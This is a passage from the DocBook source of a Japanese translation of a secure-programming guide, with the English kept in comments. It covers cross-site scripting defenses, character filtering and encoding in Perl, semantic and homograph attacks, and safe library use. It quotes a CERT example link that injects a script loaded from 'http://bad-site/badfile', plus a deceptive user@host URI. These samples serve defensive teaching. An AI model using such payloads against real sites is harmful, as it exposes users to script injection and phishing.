残念ながら Web アプリケーションの開発者の大部分は、この問題がごく普通に発生
するものだとは気づいていません。
あるユーザから別のユーザに送られるデータ値は<emphasis>どれでも</emphasis>、
サイトにまたがった悪意ある投稿の原因になりえます。たとえその場所が、どんな 
HTML でも置けるという「明らかに疑わしい」場合でなくてもです。
ユーザ自身が悪意あるデータを供給してしまうケースがあります。つまり、ユーザ
がだまされて、他のサイト経由でデータを提供してしまう場合です。
ここで HTML リンクでユーザが悪意あるデータを他のサイトに送ってしまう例
をあげておきます(CERT から引用しました)。
<programlisting>
 &lt;A HREF="http://example.com/comment.cgi?mycomment=&lt;SCRIPT
 SRC='http://bad-site/badfile'&gt;&lt;/SCRIPT&gt;"&gt; Click here&lt;/A&gt;
</programlisting>
<para>
<!--
In short, a web application cannot accept input (including any form data)
without checking, filtering, or encoding it.
You can't even pass that data back to the same user in many cases
in web applications, since another user may have surreptitiously
supplied the data.
Even if permitting such material won't hurt your system, it will
enable your system to be a conduit of attacks to your users.
Even worse, those attacks will appear to be coming from your system.
-->
つまり Web アプリケーションは、チェックやフィルタリング、符号化なしでは
入力(フォームデータを含む)を受けられません。
Web アプリケーションは多くの場合、同じユーザに対してさえ入力したデータ
を戻せません。それは他のユーザがこっそりとそのデータを提供しているかも
しれないからです。
そのような構成要素を許可すると、システムに損害を与えるかもしれません。
そのシステムがユーザを攻撃する経路になってしまう可能性があるからです。
さらに悪いことに、そのような攻撃があなたのシステムからやってきているように
見えてしまうかもしれない点です。
</para>
<para>
<!--
CERT describes the problem this way in their advisory:
-->
CERT は勧告でこの問題を下記のように説明しています。
<blockquote><para>
<!--
A web site may inadvertently include malicious HTML tags or script
in a dynamically generated page based on unvalidated input
from untrustworthy sources
(<ulink url="http://www.cert.org/advisories/CA-2000-02.html">CERT Advisory
CA-2000-02, Malicious HTML Tags Embedded in Client Web Requests</ulink>).
-->
Web サイトに不用意に悪意ある HTML タグやスクリプトが入り込む恐れがあります。
信頼できないソースからの適切でない入力によって、動的に作成されたページに入り
込みます
(<ulink url="http://www.cert.org/advisories/CA-2000-02.html">CERT Advisory
CA-2000-02, Malicious HTML Tags Embedded in Client Web Requests</ulink>)。
</para></blockquote>
</para>
</sect2>

<sect2 id="solutions-cross-site">
<!-- <title>Solutions to Cross-Site Malicious Content</title> -->
<title>サイトにまたがった悪意あるコンテンツに対処する方法</title>
<para>
<!--
Fundamentally, this means that all web application output impacted
by any user must be
filtered (so characters that can cause this problem are removed),
encoded (so the characters that can cause this problem are encoded in
a way to prevent the problem), or
validated (to ensure that only ``safe'' data gets through).
This includes all output derived from
input such as URL parameters, form data, cookies,
database queries, CORBA ORB results, and data from users stored in files.
In many cases,
filtering and validation should be done at the input, but
encoding can be done during either input validation or output generation.
If you're just passing the data through without analysis, it's probably
better to encode the data on input (so it won't be forgotten).
However, if your program processes the data,
it can be easier to encode it on output instead.
CERT recommends that filtering and encoding be done during data output;
this isn't a bad idea, but there are many cases where it makes sense to do it
at input instead.
The critical issue is to make sure that you cover all cases for
every output, which is not an easy thing to do regardless of approach.
-->
基本的には、Web アプリケーションの出力がどのユーザから影響を受けても、
フィルタをかけ(この問題を起こす文字列は排除されます)、符号化し(この問題を
起こす文字列は符号化されて問題を防ぎます)、検証する(「安全な」データ
だけが通り抜けます)ことが大切です。
これには、URL パラメタやフォームデータやクッキー、データベースのクエリ、
CORBA ORB の結果、ファイルに格納されているユーザからのデータを入力として
渡ってくる出力すべてを含みます。
フィルタリングと検証は、ほとんどの場合入力時に済ましておいた方が良いのですが、
符号化は入力の検証と出力の作成時の間のどちらかで行っても良いと思います。
分析することなくデータを通してしまっているなら、入力時にデータを符号化
した方が良いと思います(やり忘れないでしょうから)。
しかしプログラムがそのデータを処理するなら、入力時ではなく出力時に符号化
する方が簡単です。
CERT はフィルタリングと符号化を出力時に行うよう、推奨しています。
悪くはないのですが、入力時に行う方が合理的なケースが多々あります。
出力毎にすべてのケースを網羅しなければならないのは非常に問題で、方法の
いかんにかかわらず簡単とはいえません。
【訳註：CORBA(Comon Object Request Broker Architecture)や ORB(Object Request 
Broker)についてここで説明するのは難しいので、
<ulink url="http://www.atmarkit.co.jp/fjava/rensai2/objetry01/objetry01.html"
>スキルアップのための分散オブジェクト入門</ulink>を見てください。わかりやすい
と思います】
</para>

<para>
<!--
Warning - in many cases these techniques can be subverted unless you've also
gained control over the character encoding of the output.
Otherwise, an attacker could use an ``unexpected'' character encoding
to subvert the techniques discussed here.
Thankfully, this isn't hard;
gaining control over output character encoding is discussed in
<xref linkend="output-character-encoding">.
-->
注意。出力の文字符号化をコントロールできなければ、これらのテクニックが役立た
なくなるケースがかなりあります。
そうでなくとも、攻撃者は「予想だにしない」文字符号化を行い、ここで論じた
テクニックを無効にできます。
ありがたいことに、コントロールするのは難しくありません。
出力の文字符号化のコントロールについては、
<xref linkend="output-character-encoding">で論じています。
</para>

<para>
<!--
The first subsection below discusses how to identify special
characters that need to be filtered, encoded, or validated.
This is followed by subsections describing
how to filter or encode these characters.
There's no subsection discussing how to validate data in general,
however, for input validation in general see <xref linkend="input">,
and if the input is straight HTML text or a URI, see
<xref linkend="filter-html">.
Also note that your web application can receive malicious cross-postings,
so non-queries should forbid the GET protocol
(see <xref linkend="avoid-get-non-queries">).
-->
下記のサブセクションでは、まずフィルタをかけたり、符号化したり、検証したり
する必要がある特殊文字の識別方法について論じ、その後にそれらの文字のフィルタ
や符号化もしくはその検証方法について論じます。
データを検証する一般的な方法を論じたサブセクションはありませんが、入力の検証
一般を扱った <xref linkend="input">や、もし入力が HTML テキストそのものや URI 
なら <xref linkend="filter-html">を見てください。
また、Web アプリケーションは悪意を持ったサイトをまたがる投稿を受けとれるので、
クエリ以外での GET プロトコルの使用は禁止してください
(<xref linkend="avoid-get-non-queries">を参照してください)。
</para>

<sect3>
<!-- <title>Identifying Special Characters</title> -->
<title>特殊文字を識別する</title>
<para>
<!--
Here are the special characters for a variety of circumstances
(my thanks to the CERT, who developed this list):
-->
ここでは、さまざまな環境における特殊文字を載せます。
(この一覧を作成した CERT に感謝します)
<!--
<itemizedlist>
<listitem><para>
In the content of a block-level element (e.g.,
in the middle of a paragraph of text in HTML or a block in XML):
 <itemizedlist>
 <listitem><para>"&lt;" is special because it introduces a tag.</para></listitem>
 <listitem><para>"&amp;" is special because it introduces a character entity.</para></listitem>
 <listitem><para>"&gt;" is special because some browsers treat it as special,
on the assumption that the author of the page really meant
to put in an opening "&lt;", but omitted it in error.</para></listitem>
</itemizedlist>
</para></listitem>

<listitem><para>
In attribute values:
<itemizedlist>
<listitem><para>In attribute values enclosed with double quotes, the
double quotes are special because they mark the end of the attribute value.
</para></listitem>
<listitem><para>In attribute values enclosed with single quote, the single
quotes are special because they mark the end of the attribute value.
Note that these aren't legal in XML, so I would recommend not using these.
</para></listitem>
<listitem><para>Attribute values without any quotes make the white-space
characters such as space and tab special. 
Note that these aren't legal in XML either, <emphasis>and</emphasis>
they make more characters special.
Thus, I recommend against unquoted attributes if you're using
dynamically generated values in them.
</para></listitem>
<listitem><para>"&amp;" is special when used in conjunction with
some attributes because it introduces a character entity.
</para></listitem>
</itemizedlist>
</para></listitem>
-->
<itemizedlist>
<listitem><para>
ブロックレベルの要素(たとえば、HTML や XML のブロックに含まれる
テキストのパラグラフに登場する)
<itemizedlist>
 <listitem><para>「&lt;」 は、タグを開始するという意味で特殊です。
 </para></listitem>
 <listitem><para>「&amp;」 は、文字エンティティがはじまるという意味で特殊です。
 </para></listitem>
 <listitem><para>"「gt;」 は、ブラウザの中に特別扱いをするものがある、という
 ことで特殊です。そのページの著者が、本当は開始の 「&lt;" を置くつもりでだった
 のに、間違って省いてしまったという前提です。
 </para></listitem>
 </itemizedlist>
 </para></listitem>

<listitem><para>
属性値について
<itemizedlist>
<listitem><para>二重引用符で囲まれた属性値において、二重引用符は属性値の終端
の印ということで特殊です。
</para></listitem>
<listitem><para>一重引用符で囲まれた属性値において、一重引用符は属性値の終端
の印ということで特殊です。
XML では一重引用符は正規ではないことに注意してください。一重引用符は使わない
よう推奨します。
</para></listitem>
<listitem><para>何も引用符がついていない属性値では、スペースやタブといった
空白文字が特別扱いになります。
XML では正規のものでないだけでなく、<emphasis>さらに</emphasis>他の文字を特別
扱いにしてしまうことに注意してください。
つまり、動的に値を生成したものを使っているなら、引用符が付かない属性を使用
するのは賛成できません。
</para></listitem>
<listitem><para>「&amp;」は、文字エンティティの始点になっているため、属性を
結合するのに使用するということで特殊です。
</para></listitem>
</itemizedlist>
</para></listitem>

<!--
<listitem><para>
In URLs, for example, a search engine might provide a link within
the results page that the user can click to re-run the search. This
can be implemented by encoding the search query inside the URL. When
this is done, it introduces additional special characters:
-->
<listitem><para>
たとえば URL を例にとると、ある検索エンジンは検索結果のページを表示
し、そのページ内のリンクをユーザがクリックして検索を再実行できるとします。
この機能は、検索クエリを URL 内に符号化することで実現しています。
実行が完了すると、追加の特殊文字が入り込みます。
<!--
<itemizedlist>
<listitem><para>
Space, tab, and new line are special because they mark the
end of the URL.
</para></listitem>
<listitem><para>
        "&amp;" is special because it introduces a character
        entity or separates CGI parameters.
</para></listitem>
<listitem><para>
        Non-ASCII characters (that is, everything above 128 in the
        ISO-8859-1 encoding) aren't allowed in URLs, so they are all
        special here.
</para></listitem>
<listitem><para>
        The "%" must be filtered from input anywhere parameters
        encoded with HTTP escape sequences are decoded by server-side
        code. The percent must be filtered if input such as
        "%68%65%6C%6C%6F" becomes "hello" when it appears on the web
        page in question.
</para></listitem>
</itemizedlist>
</para></listitem>

<listitem><para>
Within the body of a &lt;SCRIPT&gt; &lt;/SCRIPT&gt;
        the semicolon, parenthesis, curly braces, and new line
        should be filtered in situations where text could be inserted
        directly into a preexisting script tag.
</para></listitem>

<listitem><para>
        Server-side scripts that convert any exclamation
        characters (!) in input to double-quote characters (") on
        output might require additional filtering.
</para></listitem>
</itemizedlist>
</para>
-->
<itemizedlist>
<listitem><para>
スペースやタブ、改行は、URL の終端の印となるので特殊です。
</para></listitem>
<listitem><para>
        「&amp;」は、文字エンティティのはじまりであったり、CGI のパラメタ
				のはじまりであったりするということで特殊です。
</para></listitem>
<listitem><para>
        ASCII ではない文字(ISO-8859-1 符号で 128 以上)は URL では認められて
				いません。したがって URL 内の ASCII ではない文字は特殊です。
</para></listitem>
<listitem><para>
        「%」は入力でフィルタされなければいけません。
				HTTP のエスケープ シーケンスで符号化されたパラメタが何であっても、
				サーバ側で使っているコードへ復号しなければいけません。
        入力が「%68%65%6C%6C%6F」なら、それをフィルタすると Web サイトのページ
				では「hello」になります。
</para></listitem>
</itemizedlist>
</para></listitem>

<listitem><para>
        &lt;SCRIPT&gt; と &lt;/SCRIPT&gt; で囲まれた部分にあるセミコロンや
        括弧、中括弧、改行は、既存のスクリプト・タグに直接テキストが挿入
				できる状況下ではフィルタすべきです。

</para></listitem>
<listitem><para>
        サーバ側のスクリプトで入力にある感嘆符(!)を出力で二重引用符(")
				に変換するなら、さらに追加でフィルタが必要になります。
</para></listitem>
</itemizedlist>
</para>

<para>
<!--
Note that, in general, the ampersand (&amp;) is special in HTML and XML.
-->
一般的に HTML や XML においては、アンパサンド(&amp;)は特殊扱いです。
</para>

</sect3>

<sect3>
<!-- <title>Filtering</title> -->
<title>フィルタリング</title>
<para>
<!--
One approach to handling these special characters is simply
eliminating them (usually during input or output).
-->
これらの特殊文字を扱う方法の一つに、単に特殊文字を削除してしまうという
手があります(通常は入力と出力の間に)。
</para>

<para>
<!--
If you're already validating your input for valid characters
(and you generally should), this is easily done by simply omitting the
special characters from the list of valid characters.
Here's an example in Perl of a filter that only accepts legal
characters, and since the filter doesn't accept any special characters
other than the space, it's quite acceptable for use in areas such as
a quoted attribute:
-->
既に正しい文字を得るために入力を検証しているなら(そうすべきです)、正しい
文字の一覧から特殊文字を取り除くのは簡単です。
ここに、Perl で書いたフィルタを載せておきます。このフィルタは正式な文字
だけを受け付け、空白以外のどんな特殊文字も受け付けませんので、引用属性
のような部分で使用するのにかなり有効です。

<programlisting>
 # Accept only legal characters:
 $summary =~ tr/A-Za-z0-9\ \.\://dc;
</programlisting>
</para>

<para>
<!--
However, if you really want to strip away <emphasis>only</emphasis>
the smallest number of characters, then you could create a subroutine
to remove just those characters:
-->
しかし、本当に最低限の文字<emphasis>だけ</emphasis>を取り除きたいなら、
その文字だけを削除するサブルーチンを作っても良いでしょう。
<programlisting>
 sub remove_special_chars {
  local($s) = @_;
  $s =~ s/[\&lt;\&gt;\"\'\%\;\(\)\&amp;\+]//g;
  return $s;
 }
 # Sample use:
 $data = &amp;remove_special_chars($data);
</programlisting>
</para>
</sect3>

<sect3>
<!-- <title>Encoding</title> -->
<title>符号化</title>
<para>
<!--
An alternative to removing the special characters is to encode them
so that they don't have any special meaning.
This has several advantages over filtering the characters,
in particular, it prevents data loss.
If the data is "mangled" by the process from the user's point of view,
at least with encoding it's possible to reconstruct the
data that was originally sent.
-->
特殊文字を削除する別の方法に、特殊文字を符号化して特殊な意味を持たなく
してしまうやり方があります。
この方法は、文字にフィルタをかける方法に対して若干長所があり、特にデータを
取りこぼさない点が優れています。
ユーザから見て、フィルタする過程でデータが「めちゃくちゃ」になるなら、
少なくとも符号化をしておけば、元々送られてきたデータの再構成が可能に
なります。
</para>

<para>
<!--
HTML, XML, and SGML all use the ampersand ("&amp;") character as a
way to introduce encodings in the running text; this encoding
is often called ``HTML encoding.''
To encode these characters, simply transform the special characters
in your circumstance. Usually this means
'&lt;' becomes '&amp;lt;',
'&gt;' becomes '&amp;gt;',
'&amp;' becomes '&amp;amp;', and
'&quot;' becomes '&amp;quot;'.
As noted above, although in theory '&gt;' doesn't need to be quoted,
because some browsers act on it (and fill in a '&lt;') it needs to be quoted.
There's a minor complexity with the double-quote character,
because '&amp;quot;' only needs to be
used inside attributes, and some old browsers don't properly render it.
If you can handle the additional complexity, you can try to encode '&quot;'
only when you need to, but it's easier to simply encode it and ask
users to upgrade their browsers.
-->
HTML や XML、SGML は皆、アンパサンド(「&amp;」)を本文中で何らかの符号化が
はじまる文字として使っています。この符号化は「HTML エンコード」とよく言われて
います。
これらの文字を符号化するには、ただご自分の環境で特殊文字に変換してやるだけ
です。普通これは、
「&lt;」が「&amp;lt;」、
「&gt;」が「&amp;gt;」、
「&amp;」が「&amp;amp;」、
「&quot;」が「&amp;quot;」となります。
上記で注意しなければならないのは、理屈上は「&gt;」はここで挙げる必要はないの
ですが、ブラウザには「&gt;」が悪さをしてしまうものがあるので(「&lt;」
を入れてしまう)、ここで挙げることにしました。
二重引用符も多少面倒で、「&amp;quot;」を使う必要があるのは属性内部だけですが、
古いブラウザにはきちんと表示できないものもあります。
さらに複雑になってもかまわないなら、必要に応じて「&quot;」を符号化しても
かまいませんが、単純に符号化する方がやさしいので、ユーザにブラウザのバージョン
アップをお願いしてください。
</para>

<para>
<!--
This approach to HTML encoding
isn't quite enough encoding in some circumstances.
As discussed in <xref linkend="output-character-encoding">,
you need to specify the output character encoding (the ``charset'').
-->
この HTML エンコーディングに対する解決方法は、状況によっては符号化が十分で
ないケースがあります。
<xref linkend="output-character-encoding"> で論じていますが、出力文字
の符号化(「文字セット」)を指定してやる必要があります。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- A list of character encodings is at
    ftp://ftp.isi.edu/in-notes/iana/assignments/character-sets; this
    is referenced in the HTML 4.01 spec -->
<!--
If some of your data is encoded using a different character encoding
than the output character encoding, then you'll need to do something so your
output uses a consistent and correct encoding.
Also, you've selected an output encoding other than
ISO-8859-1, then you need to
make sure that any alternative encodings for special characters
(such as "&lt;") can't slip through to the browser.
This is a problem with several character encodings, including popular ones
like UTF-7 and UTF-8; see <xref linkend="character-encoding">
for more information on how to prevent ``alternative'' encodings of characters.
-->
出力文字の符号化とは別の符号化を使って文字を符号化しているデータがあるなら、
何らかの手を打つ必要があります。そうしないと出力に整合性がなくなり、正しい結果
になりません。
また ISO-8859-1 以外で符号化して出力するなら、代わりとなる符号化が何であれ、
ブラウザに特殊文字(「&lt;」のような)の符号化が決して渡らないようにしてください。
文字符号化のいくつかのケースでこれが問題になります。広く使われているものでは、
UTF-7 や UTF-8 がそれに当たります。「代わりとなる」文字の符号化を防ぐ方法
についての詳しい情報については、<xref linkend="character-encoding"> を見て
ください。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- Is it possible to slip through even with ISO-8859-1? I don't see
     a way to do it, so I'm not raising that concern. -->
<!--
One way to deal with incompatible character encodings is to
first translate the characters internally to ISO 10646 (which has
the same character values as Unicode), and then
using either numeric character references or character entity
references to represent them:
-->
互換性の無い文字符号化を扱う方法の一つに、まず文字を内部的には ISO 10646
(Unicode と同じ文字値)に変換してしまう方法があります。そうしておいて、
数字文字への参照もしくは文字エンティティへの参照を使って、それらを表示
します。
<!--
<itemizedlist>
<listitem><para>A numeric character reference looks like
"&amp;#D;", where D is a decimal number, or
"&amp;#xH;" or "&amp;#XH;", where H is a hexadecimal number.
The number given is the ISO 10646 character id (which has the same character
values as Unicode).
Thus &amp;#1048; is the Cyrillic capital letter "I".
The hexadecimal system isn't supported in the SGML standard (ISO 8879),
so I'd suggest using the decimal system for output.
Also, although SGML specification
permits the trailing semicolon to be omitted in
some circumstances, in practice many systems don't handle it - so
always include the trailing semicolon.
</para></listitem>
<listitem><para>A character entity reference does the same thing but
uses mnemonic names instead of numbers.
For example, "&amp;lt;" represents the &lt; sign.
If you're generating HTML, see the
<ulink url="http://www.w3.org">HTML specification</ulink> which
lists all mnemonic names.
</para></listitem>
</itemizedlist>
-->
<itemizedlist>
<listitem><para>数字文字への参照は、「&amp;#D;」のように行います。D は 10 
進数です。また、「&amp;#xH;」もしくは「&amp;#XH;」とします。H は 16 進数です。
この数字は、ISO 10646 文字コードです(Unicode と同じ文字値です)。
つまり &amp;#1048; はキリル文字の大文字の「I」です。
SGML 規格(ISO 8879)では 16 進数系をサポートしていませんので、出力には 10 進数
系を使用するようにお薦めします。
また SGML の仕様では、ある環境下で後続のセミコロンの省略を認めています。
実際に、システムの多くでは扱えません。したがって、常にセミコロンを後ろに付ける
ようにしてください。
</para></listitem>
<listitem><para>文字エンティティへの参照は、同じようなものですが、数字の
かわりに覚えやすい名前を使っています。
たとえば、「&amp;lt;」は &lt; を表わします。
HTML を書いているなら、
<ulink url="http://www.w3.org">HTML 仕様</ulink> に覚えやすい名前をすべて
一覧にしてありますので、見てください。
</para></listitem>
</itemizedlist>
<!--
Either system (numeric or character entity)
works; I suggest using character entity references for
'&lt;', '&gt;', '&amp;', and '&quot;' because it makes your code (and output)
easier for humans to understand.  Other than that, it's not clear
that one or the other system is uniformly better.
If you expect humans to edit the output by hand later, use the
character entity references where you can, otherwise I'd use the
decimal numeric character references just because they're easier to program.
This encoding scheme can be quite inefficient for some languages
(especially Asian languages); if that is your primary content, you
might choose to use a different character encoding (charset), filter
on the critical characters (e.g., "&lt;")
and ensure that no alternative encodings for critical characters are allowed.
-->
どちらの系(数字もしくは文字エンティティ)でもうまくいきます。
「&lt;」や「&gt;」、「&amp;」、「&quot;」への参照は文字エンティティを使う
ことをお薦めします。理由はコード(や出力)を見て解りやすいからです。あとは
いろいろで、どの系が全般的に優れているか、はっきりしません。
あとで人が手で出力を編集するつもりなら、文字エンティティが使えるところには
使ってください。さもなければ、プログラムが簡単になるという理由で、10 進数
で文字を参照するようにします。
この符号化のプランは、言語によってはまったく役に立ちません(とくにアジアの
言語では)。主に使用するコンテンツがその言語なら、別の文字符号化(文字セット)
を選択し、危ない文字(たとえば「&lt;」)をフィルタした方がよいかもしれません。
危ない文字を認めてしまうような他の符号化は、決してしないようにしてください。
</para>

<para>
<!--
URIs have their own encoding scheme, commonly called ``URL encoding.''
In this system, characters not permitted in URLs are represented using
a percent sign followed by its two-digit hexadecimal value.
To handle all of ISO 10646 (Unicode), it's recommended to first translate
the codes to UTF-8, and then encode it.
See <xref linkend="Validating-uris"> for more about validating URIs.
-->
URI は独自に符号化の仕組みを用意しています。通常はそれを
「URL エンコーディング」と呼んでいます。
この系では、URL 中に認められない文字をパーセント記号の後に 2 桁の 16 進数値
を使って表示します。
ISO 10646(Unicode)を扱うため、まずコードを UTF-8 に変換してから符号化する
ことが推奨されています。
URI の検証については <xref linkend="Validating-uris"> でさらに論じています
ので、見てください。
</para>

</sect3>

</sect2>

</sect1>

<sect1 id="semantic-attacks">
<!-- <title>Foil Semantic Attacks</title> -->
<title>セマンティック攻撃の裏をかく</title>

<para>
<!--
A ``semantic attack'' is an attack in which the attacker uses the
computing infrastructure/system in a way that fools the victim into
thinking they are doing something, but are doing something different,
yet the computing infrastructure/system is working exactly as it was
designed to do.
Semantic attacks often involve financial scams, where the attacker is
trying to fool the victim into giving the attacker large sums of money
(e.g., thinking they're investing in something).
For example, the attacker may try to convince the user that they're
looking at a trusted website, even if they aren't.
-->
「セマンティック攻撃」とは、攻撃者がコンピュータの設備やシステムを利用して、
何らかの方法で犠牲者をだまし、何かをさせてしまうことを指します。何かを
させるというのは、本来そのコンピュータの設備やシステムが行うように設計された
ものとは別のことをしてしまうことを指します。
セマンティック攻撃には、金融詐欺も含まれていて、攻撃者が犠牲者をだまし、
攻撃者に大金を与えてしまいます(たとえば、どこかに投資しているように思わせる)。
たとえば、攻撃者はユーザに信頼できる Web サイトを見ていると信じこませようと
するかもしれません。本当はそうでないのにもかかわらず、です。
</para>

<para>
<!--
Semantic attacks are difficult to counter, because they're exploiting
the correct operation of the computer.
The way to deal with semantic attacks is to help give the human
additional information, so that when ``odd'' things happen the human
will have more information or a warning will be presented
that something may not be what it appears to be.
-->
セマンテックス攻撃は対処が困難です。理由はコンピュータの正しい操作を
悪用しているからです。
セマンテックス攻撃に対処するには、さらにユーザに情報を与えて気づかせること
です。つまり「奇妙な」ことが起こると、ユーザがもっと情報を持とうとするか、
警告が見た目と違う何かが起こっていると知らせます。
</para>

<para>
<!--
One example is URIs that, while legitimate, may fool users into
thinking they have a different meaning.
For example, look at this URI:
-->
一例として、URI をあげます。文法上問題無いにもかかわらす、ユーザが
取り違えて考えるかもしれません。
ととえば、この URI を見てください。
<programlisting>
  http://www.bloomberg.com@www.badguy.com
</programlisting>
<!--
If a user clicked on that URI, they might think that they're going
to Bloomberg (who provide financial commodities news), but instead
they're going to www.badguy.com (and providing the username
www.bloomberg.com, which www.badguy.com will conveniently ignore).
If the badguy.com website then imitated the bloomberg.com site,
a user might be convinced that they're seeing the real thing
(and make investment decisions based on attacker-controlled
information).
This depends on URIs being used in an unusual way - clickable URIs
can have usernames, but usually don't.
One solution for this case is for the web browser to detect such unusual
URIs and create a pop-up confirmation widget, saying
``You are about to log into www.badguy.com as user www.bloomberg.com;
do you wish to proceed?''
If the widget allows the user to change these entries, it provides
additional functionality to the user as well as providing protection
against that attack.
-->
この URI をクリックすると、ユーザは Bloomberg(金融商品ニュースを提供している)
に行くと思うかもしれませんが、そのかわりに www.badguy.com に行ってしまいます
(そして、ユーザ名 www.bloomberg.com を www.badguy.com に渡しますが、
www.badguy.com は都合が良いことにそれを無視するでしょう)。
badguy.com の Web サイトが bloomberg.com のサイトをまねていたなら、ユーザ
は自分が本物のサイトを見ていると、信じてしまうかもしれません(そして攻撃者
がコントロールしている情報を元に、ユーザが投資を決めてしまいます)。
これは普段使われない URI を前提にしています。クリッカブル URI はユーザ名を
設定できますが、普段はそうしていません。
このケースの解決には、Web ブラウザが普段使わない URI を検知するとか、ポップ
アップで確認を求める(「ユーザ名 www.bloomberg.com で www.badguy.com に
ログインしようとしています。続けますか？」のように)仕掛けを作ることが
考えられます。
その仕掛けでユーザが入場を変更できるようになれば、攻撃を防御ができると同時に、
ユーザに対して追加機能を提供できます。
</para>

<para>
<!--
Another example is homographs, particularly international homographs.
Certain letters look similar to each other, and these can be exploited
as well.
For example, since 0 (zero) and O (the letter O) look similar to each
other, users may not realize that WWW.BLOOMBERG.COM and WWW.BL00MBERG.COM
are different web addresses.
Other similar-looking letters include 1 (one) and l (lower-case L).
If international characters are allowed, the situation is worse.
For example, many Cyrillic letters look essentially the same as
Roman letters, but the computer will treat them differently.
Currently most systems don't allow international characters in host names,
but for various good reasons it's widely agreed that support for them
will be necessary in the future.
One proposed solution has been to diplay letters from different code regions
using different colors - that way,
users get more information visually.
If the users look at URI, they will hopefully notice the strange coloring.
[Gabrilovich 2002]
However, this does show the essence of a semantic attack -
it's difficult to defend against, precisely because the computers are
working correctly.
-->
別の例は、同じ綴りで違う意味をもつ言葉(同形異義語)で、特に国間に見られる
同形異義語です。
ある文字はお互いに似て見えますし、同様にやられてしまう可能性があります。
たとえば、0(ゼロ)とO(文字のオー)はお互いに似ていますので、ユーザは 
WWW.BLOOMBERG.COM と WWW.BL00MBERG.COM が違う Web アドレスであるのがわからない
かもしれません。
他に見た目が似た文字には、1(数字の 1)とl(小文字の L)があります。
いろいろな国の文字を許可していれば、事態はさらに悪くなります。
たとえば、キリル文字の大部分は、おおよそ英字と同じように見えますが、
コンピュータは違うものとして扱います。
現状たいていのシステムは、ホスト名としていろいろな国の文字を認めていません。
もっともな理由がない限り、今後ホスト名としてサポートする必要性が広く認め
られるでしょう。
解決案の 1 つに、異なる地域を異なる色を使って文字を表示する方法が取られて
きました。つまり、ユーザは視覚的にもっと情報を得ます。
ユーザが URI を見たとすると、おそらく奇妙な色つけに気付くはずです
[Gabrilovich 2002]。 
しかし、これはセマンティック攻撃の存在を示しはしますが、防戦するのは困難
です。正確に言えば、コンピュータは正しく動作しているのですから。
</para>
</sect1>

<sect1 id="careful-typing">
<!-- <title>Be Careful with Data Types</title> -->
<title>データの種類に気を配る</title>

<para>
<!--
Be careful with the data types used, in particular those used in
interfaces.
For example, ``signed'' and ``unsigned'' values are treated differently
in many languages (such as C or C++).
-->
使用しているデータの種類に注意してください。インタフェースに使われている
ものについては、特に注意してください。
たとえば、「signed」や「unsigned」の値は、言語の多く(C や C++ のような)
で異なった扱いを受けています。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- This was the basis of a sysctl() vulnerability -->
</para>
</sect1>

</chapter>

<chapter id="call-out">
<!-- <title>Carefully Call Out to Other Resources</title> -->
<title>他のリソースを利用する場合は慎重に</title>

<epigraph>
<!-- <attribution>Psalms 146:3 (NIV)</attribution> -->
<attribution>旧約聖書 詩編 146 章 3 節</attribution>
<para>
<!-- Do not put your trust in princes, in mortal men, who cannot save. -->
君侯に依り頼んではならない。
人間には救う力はない。
</para>
</epigraph>

<para>
<!--
Practically no program is truly self-contained; nearly all programs
call out to other programs for resources, such as programs provided
by the operating system, software libraries, and so on.
Sometimes this calling out to other resources isn't obvious or involves
a great deal of ``hidden'' infrastructure which must be depended on,
e.g., the mechanisms to implement dynamic libraries.
Clearly, you must be careful about what other resources your program trusts
and you must make sure that the way you send requests to them.
-->
実際のところ、本当の意味で自己完結しているプログラムはありません。ほぼすべての
プログラムは、リソースを利用するのに他のプログラムを呼び出しています。たとえば、
オペレーティングシステムやソフトウェア・ライブラリが提供するプログラム等です。
時には、この他のリソースに対する呼び出しが、表に見えなかったり、それなくしては
実現できないかなりの数の「隠れた」仕組みを必要としていたりします。たとえば、
動的ライブラリの実現の仕組み等です。
プログラムが信頼している他のリソースについて慎重にならなければいけないのは
明らかです。また、それらに要求を送る方法についても、確認を怠らないように
しなければいけません。
</para>

<sect1 id="call-only-safe">
<!-- <title>Call Only Safe Library Routines</title> -->
<title>安全なライブラリ・ルーチンだけを呼び出すこと</title>

<para>
<!--
Sometimes there is a conflict between security and the development
principles of abstraction (information hiding) and reuse.
The problem is that some high-level library routines
may or may not be implemented securely,
and their specifications won't tell you.
Even if a particular implementation is secure, it may not be
possible to ensure that other versions of the routine
will be safe, or that the same interface will be safe on other platforms.
-->
セキュリティと抽象化(情報隠蔽)の開発方針及びその再利用が相容れない場合
があります。
問題は、高レベルのライブラリルーチンが安全に実装されているかいないか、わか
らない点です。仕様書を読んでもわかりません。
ある特定の実装が安全であったとしても、ルーチンの他のバージョンが確実に
安全であるとは言えませんし、同じインタフェースが他のプラットフォームで
も安全であるとは言えません。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- I once said:
 For example, I've not been able to assure myself that tmpfile(3) is
 secure on all platforms (see (xref linkend="temporary-files"));
 its specifications aren't sufficiently clear to give me confidence of this.

 However, I've since learned that my fears were justified.
 System V (at least up through 1993) _did_not_ do this safely. -->

</para>

<para>
<!--
In the end, if your application must be secure, you must sometimes
re-implement your own versions of library routines.
Basically, you have to re-implement routines if you can't be sure
that the library routines will perform the necessary actions you require
for security.
Yes, in some cases the library's implementation should be fixed, but
it's your users who will be hurt if you choose a library routine that
is a security weakness.
If can, try to use the high-level interfaces when you must
re-implement something - that way, you can switch to the high-level
interface on systems where its use is secure.
-->
結局のところ、アプリケーションを安全にしなければならないなら、時には
自分自身でライブラリ・ルーチンのバージョンを再実装するはめになります。
ライブラリ・ルーチンが必要とするセキュリティ要求に答えることを確認でき
なければ、根本的に解決するのにルーチンを再実装せざるを得ないでしょう。
お気づきになったと思いますが、場合によってはライブラリの実装を修正する
必要があります。しかし、セキュリティ上の弱点を持ったライブラリ・ルーチン
を選択した結果、被害を被るのはユーザです。
再実装しなければいけない場合には、高レベルのインタフェースを使うように
してください。そうすれば、そのインタフェースが安全に使えるシステムでは、
高レベルのインタフェースに切り替えられます。
</para>

<para>
<!--
If you can, test to see if the routine is secure or not, and use it if
it's secure - ideally you can perform this test as part of
compilation or installation (e.g., as part of an ``autoconf'' script).
For some conditions this kind of run-time testing is impractical, but
for other conditions, this can eliminate many problems.
If you don't want to bother to re-implement the library, at least test
to make sure it's safe and halt installation if it isn't.
That way, users will not accidentally install an insecure program and
will know what the problem is.
-->
可能なら、ルーチンが安全かそうでないかのテストをしてください。そして安全
